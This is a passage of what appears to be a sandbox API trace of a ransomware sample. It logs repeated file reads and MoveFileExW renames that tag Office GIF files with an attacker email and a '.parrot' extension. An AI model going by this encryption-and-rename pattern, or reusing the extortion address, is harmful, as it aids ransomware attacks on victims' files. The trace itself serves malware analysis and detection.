1 [0166.384] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.384] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.385] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.385] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb0, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xb0, lpOverlapped=0x0) returned 1 [0166.385] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.386] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21520_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21520_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21520_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21520_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.390] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.390] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.391] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.391] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x148, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x148, lpOverlapped=0x0) returned 1 [0166.391] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.392] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21533_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21533_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21533_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21533_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.435] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.435] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.436] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.436] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf0, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xf0, lpOverlapped=0x0) returned 1 [0166.436] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.437] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21534_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21534_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21534_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21534_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.453] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.453] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.453] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.454] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x12b, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x12b, lpOverlapped=0x0) returned 1 [0166.454] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.454] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21535_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21535_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21535_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21535_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.470] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.471] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.471] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.472] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb9, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xb9, lpOverlapped=0x0) returned 1 [0166.472] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.472] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115834.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115834.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115834.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115834.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.477] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.477] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.478] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.478] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb1, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xb1, lpOverlapped=0x0) returned 1 [0166.478] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.479] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115835.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115835.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115835.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115835.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.483] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.483] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.484] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.484] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xad, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xad, lpOverlapped=0x0) returned 1 [0166.485] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.485] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115836.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115836.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115836.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115836.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.489] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.489] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.490] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.490] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbe, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xbe, lpOverlapped=0x0) returned 1 [0166.490] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.490] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115839.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115839.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115839.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115839.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.494] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.494] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.495] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.495] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbe, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xbe, lpOverlapped=0x0) returned 1 [0166.495] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.496] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115840.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115840.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115840.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115840.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.499] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.499] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.500] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.500] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb1, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xb1, lpOverlapped=0x0) returned 1 [0166.501] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.501] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115841.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115841.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115841.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115841.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.505] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.505] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.506] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.506] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb0, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xb0, lpOverlapped=0x0) returned 1 [0166.506] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.507] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115842.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115842.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115842.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115842.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.511] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.511] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.511] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.512] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb0, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xb0, lpOverlapped=0x0) returned 1 [0166.512] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.512] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115843.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115843.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115843.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115843.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.515] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.515] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.516] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.516] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb0, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xb0, lpOverlapped=0x0) returned 1 [0166.516] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.517] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115844.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115844.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115844.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115844.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.521] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.521] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.522] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.522] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xed, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xed, lpOverlapped=0x0) returned 1 [0166.522] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.523] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115863.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115863.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115863.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115863.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.527] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.527] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.528] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.528] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb9, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xb9, lpOverlapped=0x0) returned 1 [0166.528] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.528] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115864.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115864.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115864.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115864.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.539] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.539] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.540] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.540] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe0, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xe0, lpOverlapped=0x0) returned 1 [0166.541] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.541] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115865.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115865.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115865.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115865.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.546] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.546] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.547] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.547] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe0, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xe0, lpOverlapped=0x0) returned 1 [0166.548] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.548] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115866.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115866.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\J0115866.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\j0115866.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0166.553] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0166.553] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0166.553] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.554] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe0, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xe0, lpOverlapped=0x0) returned 1 [0166.554] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.554] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft 